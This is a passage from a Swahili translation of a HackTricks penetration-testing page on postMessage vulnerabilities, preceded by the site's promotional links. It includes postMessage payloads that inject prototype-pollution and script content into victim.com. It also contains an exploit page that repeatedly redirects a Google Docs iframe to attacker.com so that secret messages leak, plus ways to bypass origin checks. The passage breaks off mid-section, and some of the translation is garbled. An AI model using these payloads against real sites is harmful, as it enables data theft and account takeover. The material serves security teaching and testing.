.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
Mianzo ya Uvamizi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa katika HackTricks au kupakua HackTricks katika PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuvamia kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud repos za github.
Tuma Ujumbe wa PostMessage
PostMessage hutumia kazi ifuatayo kutuma ujumbe:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Tafadhali kumbuka kuwa targetOrigin inaweza kuwa '*' au URL kama https://company.com.
Katika skenario ya pili, ujumbe unaweza kutumwa tu kwa kikoa hicho (hata kama asili ya kitu cha dirisha ni tofauti).
Ikiwa alama ya wilaya inatumika, ujumbe unaweza kutumwa kwa kikoa chochote, na utatumwa kwa asili ya kitu cha Dirisha.
Kuvamia iframe na alama ya wilaya katika targetOrigin
Kama ilivyoelezwa katika ripoti hii ikiwa unapata ukurasa ambao unaweza kuingizwa kwenye iframe (hakuna ulinzi wa X-Frame-Header
) na ambao unatuma ujumbe wa siri kupitia postMessage kwa kutumia alama ya wilaya (*), unaweza kubadilisha asili ya iframe na kuvuja ujumbe wa siri kwa kikoa kinachodhibitiwa na wewe.
Tafadhali kumbuka kuwa ikiwa ukurasa unaweza kuingizwa kwenye iframe lakini targetOrigin imewekwa kwa URL na sio alama ya wilaya, hila hii haitafanya kazi.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Uchambuzi wa Utekelezaji wa addEventListener
addEventListener
ni kazi inayotumiwa na JS kuweka wazi kazi ambayo inatarajia kupokea postMessages
.
Msimbo kama ufuatao utatumika:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Tafadhali kumbuka katika kesi hii jinsi jambo la kwanza ambalo msimbo unafanya ni kuangalia asili. Hii ni muhimu sana hasa ikiwa ukurasa utafanya kitu chochote cha hisia na habari iliyopokelewa (kama kubadilisha nenosiri). Ikiwa haikagua asili, wadukuzi wanaweza kufanya waathirika kutuma data ya kiholela kwa sehemu hizi na kubadilisha nywila za waathirika (katika mfano huu).
Uchunguzi
Ili kupata wasikilizaji wa tukio katika ukurasa wa sasa unaweza:
- Tafuta msimbo wa JS kwa
window.addEventListener
na$(window).on
(toleo la JQuery) - Tekeleza katika kikasha cha zana za watengenezaji:
getEventListeners(window)
- Nenda kwenye Elements --> Wasikilizaji wa Tukio katika zana za watengenezaji wa kivinjari
- Tumia nyongeza ya kivinjari kama https://github.com/benso-io/posta au https://github.com/fransr/postMessage-tracker. Nyongeza hizi za kivinjari zitakuwa zinaingilia ujumbe wote na kuonyesha kwako.
Kupitisha ukaguzi wa asili
-
Sifa ya
event.isTrusted
inachukuliwa kuwa salama kwani inarudiTrue
tu kwa matukio ambayo yamezalishwa na hatua halisi za mtumiaji. Ingawa ni changamoto kuihepa ikiwa imeboreshwa kwa usahihi, umuhimu wake katika ukaguzi wa usalama ni muhimu. -
Matumizi ya
indexOf()
kwa ukaguzi wa asili katika matukio ya PostMessage yanaweza kuwa rahisi kupitisha. Mfano unaoonyesha udhaifu huu ni:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Mbinu ya
search()
kutokaString.prototype.search()
inalenga kwa mifumo ya kawaida, sio herufi. Kupitisha kitu kingine chochote isipokuwa herufi kunasababisha ubadilishaji wa kimya kimya kuwa herufi, hivyo kufanya mbinu hiyo kuwa hatari. Hii ni kwa sababu katika mifumo ya kawaida, kipengele cha dot (.) kinatenda kama kichwa cha habari, kuruhusu kupitisha ukaguzi na vikoa vilivyoundwa kwa umakini. Kwa mfano:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Kazi ya
match()
, kama vilesearch()
, inachakata mifumo ya kawaida. Ikiwa mifumo ya kawaida imeundwa vibaya, inaweza kuwa rahisi kupitisha. -
Kazi ya
escapeHtml
inalenga kusafisha pembejeo kwa kutoroka herufi. Walakini, haizalishi kitu kipya kilichotoroka lakini inaandika upya mali za kitu kilichopo. Tabia hii inaweza kutumiwa vibaya. Hasa, ikiwa kitu kinaweza kubadilishwa ili mali yake inayodhibitiwa isitambuehasOwnProperty
,escapeHtml
haitafanya kazi kama ilivyotarajiwa. Hii inaonyeshwa katika mifano hapa chini: -
Kosa linalotarajiwa:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Kupitisha kutoroka:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
Katika muktadha wa udhaifu huu, kitu cha File
kinaweza kudukuliwa kwa sababu ya mali yake ya kusoma tu ya name
. Mali hii, wakati inatumika katika templeti, haipatikani kwa njia ya kusafisha na kazi ya escapeHtml
, hivyo kusababisha hatari za usalama.
- Mali ya
document.domain
katika JavaScript inaweza kuwekwa na hati ya kusitisha kikoa, kuruhusu utekelezaji wa sera ya asili sawa zaidi ndani ya kikoa kimoja cha mzazi.
Kupitisha e.origin == window.origin
Wakati wa kuingiza ukurasa wa wavuti ndani ya iframe iliyofungwa kwa kutumia %%%